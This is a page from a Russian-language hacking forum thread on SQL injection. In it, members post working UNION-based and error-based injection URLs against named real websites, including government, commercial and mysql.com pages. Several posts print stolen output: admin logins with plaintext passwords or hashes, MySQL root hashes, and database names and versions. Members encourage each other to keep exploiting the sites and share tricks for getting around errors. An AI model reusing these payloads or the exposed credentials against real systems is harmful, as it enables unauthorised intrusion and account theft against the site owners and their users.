SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 198 of 798
  1. sssssssssssq

    sssssssssssq Banned

    Joined:
    8 Aug 2005
    Messages:
    669
    Likes Received:
    426
    Reputations:
    335
    Code:
    http://www.ruclimat.ru/categor/index.php?id_categor=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8,9,10,11,12,13/*
http://www.directmarketing.com.ua/print.php?id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7/*   
http://www.recipe.ru/docs/nd/print.php?id=-1+union+select+version(),2,3,4,5/*
http://www.slavneft.ru/declarations/print.php?id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5,6,7,8/*
http://www.homeair.ru/news/view.php?id=-1+union+select+1,2,3,concat(database(),char(58),user(),char(58),version()),5,6,7,8,9,10,11,12,13/*
http://profisport.com.ua/print.php?id=-1+union+select+concat(database(),char(58),user(),char(58),version())/*
http://www.ekosdom.com.ua/print.php?id=-1+union+select+concat(database(),char(58),user(),char(58),version())/*
http://moise.sefarad.org/print.php?id=-1+union+select+1,2,concat(database(),char(58),user(),char(58),version()),4,5/*
http://avtoradiator.com/print.php?id=-1+union+select+concat(database(),char(58),user(),char(58),version())/*
    Каму интересно, может продолжить ковырять, заодно и мне расскажите чего нашли интересного ;)
     
    #3941 sssssssssssq, 2 Dec 2007
    4 people like this.
  2. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    Интернет портал HandsPC

    www.handspc.ru
    Code:
    http://www.handspc.ru/soft/soft.php?id=183+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+--+
    4.0.18-1.gm-log
    Code:
    http://www.handspc.ru/soft/soft.php?id=183+union+select+1,concat_ws(0x3a,user,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+mysql.user+--+
    Code:
    admin:3e8d9e88574ded0d
     
    #3942 Roba, 2 Dec 2007
    4 people like this.
  3. Fata1ex

    Fata1ex Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    703
    Likes Received:
    300
    Reputations:
    38
    PR:2
    Code:
    http://[COLOR=Red]et.igwane.be[/COLOR]/page.php?id=-7+union+select+1,2,3,concat_ws(char(58),user(),version(),database()),5,6,7,8,9,10,11/*
    [email protected]:5.0.24alyceu-log:igwane_be_1


    Code:
    http://[COLOR=Red]et.igwane.be[/COLOR]/page.php?id=-7+union+select+1,2,3,table_name,5,6,7,8,9,10,11+from+information_schema.tables+limit+1,1/*
    count = 162...ppc

    На этом мое желание работать дальше с лимитом почему-то иссякло =/
     
    #3943 Fata1ex, 2 Dec 2007
    2 people like this.
  4. Ded MustD!e

    Ded MustD!e Banned

    Joined:
    23 Aug 2007
    Messages:
    392
    Likes Received:
    694
    Reputations:
    405
    http://www.onesimpleloan.com/

    Code:
    http://www.onesimpleloan.com/news_display.asp?news_id=1+or+1=(SELECT+TOP+1+cast(userna   me+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+cms_users)--
    Admin:lcpa!87

    http://www.fnplzen.cz/

    Code:
    http://www.fnplzen.cz/novinky_detail.asp?news_id=1+or+1=(SELECT+TOP+1+cast(admName+as+nvarchar)%2B%27%3A%27%2Bcast(admPHash+as+nvarchar)+from+tblQNAdmin)--
    admin:-280742843

    http://www.justrams.com/

    Code:
    http://www.justrams.com/contents/news/news_view.asp?news_id=1+or+1=(SELECT+TOP+1+cast(username+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+justrams_admin)--
    adminjr:#jr$2007

    http://www.intellijock.com/

    Code:
    http://www.intellijock.com/sample_profile.asp?view_id=1+or+1=(SELECT+TOP+1+cast(login+as+nvarchar)%2B%27%3A%27%2Bcast(password+as+nvarchar)+from+admins+where+admin_id=1)--
     
    #3944 Ded MustD!e, 3 Dec 2007
    Last edited: 3 Dec 2007
    5 people like this.
  5. KEHT33

    KEHT33 Elder - Старейшина

    Joined:
    26 Nov 2006
    Messages:
    49
    Likes Received:
    34
    Reputations:
    5
    БД 5 значит смотрим 140 таблиц сами :)

    HTML:
    http://www.mountain.ru/news/index.php?id_class_news=-0%20union%20select%20concat(user_name,0x3a,password)+FROM+user/*
    Искать в исходном тексте сайта после "<option value='/news/index.php?id_class_news="
     
    #3945 KEHT33, 3 Dec 2007
    1 person likes this.
  6. Joker-jar

    Joker-jar Elder - Старейшина

    Joined:
    11 Mar 2007
    Messages:
    581
    Likes Received:
    205
    Reputations:
    37
    Code:
    http://www.falsecode.ru/fileinfo.php?id=77+and+ascii(lower(substring(version(),1,1)))=0x33/*
    ...ппц, такие динозавры еще живы?
     
    #3946 Joker-jar, 3 Dec 2007
    1 person likes this.
  7. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    www.realmusic.ua
    Code:
    http://www.realmusic.ua/buy.php?id=-1+union+select+1/*
    www.rebellino.it
    Code:
    http://www.rebellino.it/shop/pag_home/multimedia.php?id=-1+union+select+1,2,user(),version(),5,database()/*
    [email protected]
    Sql47718_3
    4.0.27-standard-log
    www.3onweb.it
    Code:
    http://www.3onweb.it/download/guide/focuson.php?id=-1+union+select+1,2,3,4/*
    тут ничего не выйдет =(
     
    #3947 Mike 007, 3 Dec 2007
    Last edited: 3 Dec 2007
    2 people like this.
  8. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    Fata1ex,хекед

    Узнаём имя БД и таблицу
    Code:
    http://et.igwane.be/page.php?id=-7+union+select+1,2,3,concat(table_schema,char(58),table_name),5,6,7,8,9,10,11+from+information_schema.columns+where+column_name=0x6c6f67696e+limit+2,1/*
    igwane_be_5.members

    Узнаём столбцы
    Code:
    http://et.igwane.be/page.php?id=-7+union+select+1,2,3,column_name,5,6,7,8,9,10,11+from+information_schema.columns+where+table_name=0x6D656D62657273+limit+3,1/*
    login,password

    Ну и хек
    Code:
    http://et.igwane.be/page.php?id=-7+union+select+1,2,3,concat(login,0x3a,password),5,6,7,8,9,10,11+from+igwane_be_5.members/*
    admin:exuifoLgJGROk

    Есть ещё таблица igwane_be_3.eck_user
    Code:
    http://et.igwane.be/page.php?id=-7+union+select+1,2,3,concat(login,0x3a,password),5,6,7,8,9,10,11+from+igwane_be_3.eck_user+limit+1,1/*
    С помощью https://forum.antichat.ru/showpost.php?p=401199&postcount=18
     
    #3948 v1ru$, 3 Dec 2007
    Last edited: 3 Dec 2007
    1 person likes this.
  9. Fata1ex

    Fata1ex Elder - Старейшина

    Joined:
    12 Dec 2006
    Messages:
    703
    Likes Received:
    300
    Reputations:
    38
    PR:5

    Code:
    http://[COLOR=Red]www.lesmuseesenwallonie.be[/COLOR]/html/musee.php?id=-254+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,concat_ws(char(58),user(),version(),database()),25/*

    mew@localhost:4.1.20:mew


    PR:5
    Code:
    http://[COLOR=Red]www.jeugdrodekruis.be[/COLOR]/index.php?ID=-51+union+select+1,concat_ws(char(58),user(),version(),database()),3/*
    [email protected]:5.0.27:jeugdrodekruisbe


    Code:
    http://[COLOR=Red]www.jeugdrodekruis.be[/COLOR]/index.php?ID=-51+union+select+1,count(table_name),3+from+information_schema.tables/*
    count = 72 =(
    Code:
    tblMail
g2_User
...


    PR:3
    Code:
    http://[COLOR=Red]www.arriere-scene.be[/COLOR]/saison_details.php?ID=-222+union+select+1,2,3,4,5,6,concat_ws(char(58),user(),version(),database()),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35/*
    [email protected]:4.0.25-standard-log:arrieres
     
    #3949 Fata1ex, 3 Dec 2007
    3 people like this.
  10. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    http://www.spbreligion.ru/news.php?id=-1'+union+select+1,2,3,concat_ws(0x2F,cast(version()+as+binary),cast(database()+as+binary),cast(user()+as+binary)),5,6,7,8,9,10/*

    4.1.15/spbreligion/root@localhost
    -------------------------------------------------------------------------

    http://www.portal-ug.ru/news/?id=-1+union+select+1,2,concat_ws(0x2F,version(),database(),user()),4,5,6,7,8/*

    4.1.20-lk-log/portugru_new/portugru_new@localhost
    -------------------------------------------------------------------------

    http://www.finnews.ru/cur_new.php?idnws=-1+union+select+concat_ws(0x2F,version(),database(),user())/*

    5.0.45-log/u13279/[email protected]
    -------------------------------------------------------------------------

    http://www.vi1.ru/index.php?id=1&news=-4+union+select+1,2,3,4,concat_ws(0x2F,version(),database(),user()),6,7,8,1/*

    4.1.20/vb1ru/fyG6ds9@localhost
     
    #3950 ElteRUS, 3 Dec 2007
    3 people like this.
  11. maxster

    maxster Elder - Старейшина

    Joined:
    27 Oct 2006
    Messages:
    188
    Likes Received:
    88
    Reputations:
    -7
    Хотел купить новый доктор мартинс и наткнулся :
    Code:
    http://www.shoes.ru/index.php?akus=4&id=-111+UNION+SELECT+1,2,3,AES_DECRYPT(AES_ENCRYPT(concat_ws(0x3a,login,pwd),0x71),0x71),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+users/*
    там еще есть форум пхпбб, но не префикс не смог подобрать, удачи ;)
     
    #3951 maxster, 4 Dec 2007
    1 person likes this.
  12. reversys

    reversys Elder - Старейшина

    Joined:
    21 Nov 2007
    Messages:
    139
    Likes Received:
    57
    Reputations:
    7
    Code:
    http://www.e28.dk/Forum/infusions/calendar_events_panel/show_single.php?sel=-1/**/UNION/**/SELECT/**/0,0,user_password,user_name,0,0,0,0,0,0,0,0/**/FROM/**/fusion_users/**/WHERE/**/user_id=1/*
     
    #3952 reversys, 4 Dec 2007
    1 person likes this.
  13. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Италия

    crengineering.it
    Code:
    http://www.crengineering.it/dettaglio.php?id=-1+union+select+1,2,3,concat_ws(0x3a,version(),database(),user()),5,6,7,8,9,10,11,12,13,14,15,16/*
    4.1.22-standard:crengine_cr:crengine_cr@localhost

    RockLab.it
    Code:
    http://www.rocklab.it/dett_news.php?id=-1+union+select+1,2,concat_ws(0x3a,version(),database(),user()),4,5,6/*
    4.0.27-standard-log:rocklab_it:rocklab@localhost

    opificium.it
    Code:
    http://www.opificium.it/sezione.php?id=-1+union+select+1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7,8,9/*
    5.0.27:dbopificium:josemiguel@localhost

    root [ login : MySQL(pass) ] :
    Code:
    root : 646990a7615f4ff5
    aci.it - Автомобильный Клуб Италии
    Code:
    http://www.aci.it/index.php?id=299&no_cahce=1&tx_ttnews[tt_news]=-1+union+select+1,concat_ws(0x3a,version(),database(),user())/*&tx_ttnews[backPid]=85&limit=0
    5.0.22:aci_4051:[email protected]

    Наши таблицы:
    Code:
    be_users
be_users2
fe_users
    Админ [username:md5(password):email] :
    Code:
    l.feti : a7667861d4fd273bfb352f1dc6d319be : [email protected]
    GOV

    gg.gov.au
    Code:
    http://www.gg.gov.au/governorgeneral/content.php?id=-1+union+select+1,2,concat(aes_decrypt(aes_encrypt(version(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(database(),0x71),0x71),0x3a,aes_decrypt(aes_encrypt(user(),0x71),0x71)),4,5,6,7,8,9,10,11,12,13/*
    4.1.11-Debian_4sarge7:govgen:gg@localhost

    gitd.gov.pl - типа Главная Инспекция Транспортного Движения Польши
    Code:
    http://www.gitd.gov.pl/witd.php?id2=-1+union+select+null,version(),null,null,null,null,null,null,null,null,null,null,null,null,null,null--
    version() :
    Code:
    PostgreSQL 8.2.1 on i386-unknown-freebsd6.2, compiled by GCC gcc (GCC) 3.4.6 [FreeBSD] 20060305
    user : gitd

    119 таблиц:
    Code:
    http://www.gitd.gov.pl/witd.php?id2=-1+union+select+null,TABLE_NAME,null,null,null,null,null,null,null,null,null,null,null,null,null,null+from+INFORMATION_SCHEMA.TABLES+limit+1+offset+118--
    интересные табы:
    Code:
    administrable_role_authorizations
pg_auth_members
pg_database
pg_user
    Но данные из таблиц достать не удалось
    :mad:
    Кто подскажет в чём трабла - [+++] !
     
    #3953 fRg, 4 Dec 2007
    4 people like this.
  14. [aywo]

    [aywo] Elder - Старейшина

    Joined:
    1 Feb 2007
    Messages:
    89
    Likes Received:
    55
    Reputations:
    5
    http://www.rrhhdigital.es/noticia_ampliada.asp?id=21541'%20or%201=@@version--
    имена таблиц:
    Code:
    'documentacion'
'enlaces_categorias'
'enlaces'
'dtproperties'
'foro_usuarios'
'foros'
'opinion'
'foro_temas'
'entrevistas'
'foro_comentarios'
'banner_patrocinio'
'boletin_envios'
'entrevistas_boletin'
'se_rumorea'
'agenda_categorias'
'mostrar_en_boletin'
'empresa'
'foro'
'secciones'
'admin_usuarios'
'admin_secciones'
'admin_usuarios_secciones'
't_jiaozhu'
'banner_secciones'
'firmas'
'noticias'
'boletin_copia'
'boletin2'
'banner'
'boletin'
'humor'
'asesor'
'agenda'
'noticias_relaciones'
'encuesta'
'votaciones'
     
    #3954 [aywo], 4 Dec 2007
    1 person likes this.
  15. KEHT33

    KEHT33 Elder - Старейшина

    Joined:
    26 Nov 2006
    Messages:
    49
    Likes Received:
    34
    Reputations:
    5
    бд 4
    HTML:
    http://www.eurofind.net/Articles/index.php?id=69+UNION+SELECT+1,concat(login,0x3a,password),3,4,5,6,7,8+FROM+users+LIMIT+1,1/*
    Так же есть столбик ICQ но перебор уже начал )
     
    #3955 KEHT33, 4 Dec 2007
    Last edited: 5 Dec 2007
    1 person likes this.
  16. fRg

    fRg Active Member

    Joined:
    28 Dec 2006
    Messages:
    111
    Likes Received:
    172
    Reputations:
    0
    Италия

    ItalienI.it - Италия Интернэшнл
    Code:
    http://www.italieni.it/page.php?id=-1+union+select+1,2,3,4,5,aes_decrypt(aes_encrypt(concat_ws(0x3a,version(),database(),user()),0x71),0x71),7,8,9,10,11,12/*
    4.1.10-log:internazionale_italieni:[email protected]

    Таба users
    Code:
    http://www.italieni.it/page.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,aes_decrypt(aes_encrypt(concat_ws(0x3a,username,password,email,admin,id),0x71),0x71),12+from+users+limit+0,1/*
     
    #3956 fRg, 5 Dec 2007
    2 people like this.
  17. 0nep@t0p

    0nep@t0p Elder - Старейшина

    Joined:
    25 May 2007
    Messages:
    134
    Likes Received:
    216
    Reputations:
    17
    www.mysql.com 0_o
    Code:
    http://www.mysql.com/training/venue.php?id=-MX-MexicoCity-IPCOM'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,VERSION(),22,23,24,25,26,27,28,29,30,31/*
    Версия - 5.1.22-rc-log
    Юзер - [email protected]
    if version=5.xx then we have access to information_schema.tables
    Таблиц оч. много, но не из одной из них прочитать ничего нельзя ((
    Но есть доступ к mysql.user -
    Code:
    http://www.mysql.com/training/venue.php?id=-MX-MexicoCity-IPCOM'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,concat(user,0x3a,password),22,23,24,25,26,27,28,29,30,31+from+mysql.user/*
    p.s.Юбилейный пост в теме =)
    p.s.s.Уже не юбилейный =(
     
    #3957 0nep@t0p, 5 Dec 2007
    Last edited: 7 Dec 2007
    14 people like this.
  18. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    www.sportnet.ee
    Code:
    http://www.sportnet.ee/index.php?id=12402&news_id=999999999)+union+select+1,2,3,4,AES_DECRYPT(AES_ENCRYPT(version(),0x71),0x71),6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21+--+&light=
    4.1.15


    www.gg.gov.au
    Code:
    http://www.gg.gov.au/governorgeneral/content.php?id=26+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13+--+
    GIT. ГАЛАКТИКА ИНФОРМАЦИОННЫХ ТЕХНОЛОГИЙ
    www.galaxyit.ru
    Code:
    http://www.galaxyit.ru/safe-systems/article_full.php?id=-1+union+select+1,2,version(),4,5,6,7,8+--+
    4.1.22-standard

    Раскручивать не пробовал, ибо соксы тупят (
     
    #3958 Roba, 5 Dec 2007
    Last edited: 5 Dec 2007
    2 people like this.
  19. Mike 007

    Mike 007 Elder - Старейшина

    Joined:
    4 Apr 2007
    Messages:
    58
    Likes Received:
    47
    Reputations:
    -4
    Официальный сайт НЗШВ
    Code:
    http://[B]www.nzshv.ru[/B]/interview.php?id=-1+union+select+1,2,3,4,5,6,7,8/*
    Code:
    Database error: Invalid SQL: select * from interview where id=-1 union select 1,2,3,4,5,database(),7,8/*
MySQL Error: 1267 (Illegal mix of collations (cp1251_general_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION')
[B]Session halted[/B].
     
    #3959 Mike 007, 5 Dec 2007
  20. v1ru$

    v1ru$ Elder - Старейшина

    Joined:
    17 Mar 2007
    Messages:
    272
    Likes Received:
    196
    Reputations:
    17
    Вот так
    Code:
    http://www.nzshv.ru/interview.php?id=-1+union+select+1,2,[B]convert[/B](concat(version(),0x3a,database(),0x3a,user())+[B]using+cp1251[/B]),4,5,6,7,8/*
     
    #3960 v1ru$, 5 Dec 2007
    Last edited: 5 Dec 2007
    1 person likes this.
(You must log in or sign up to post here.)
Page 198 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.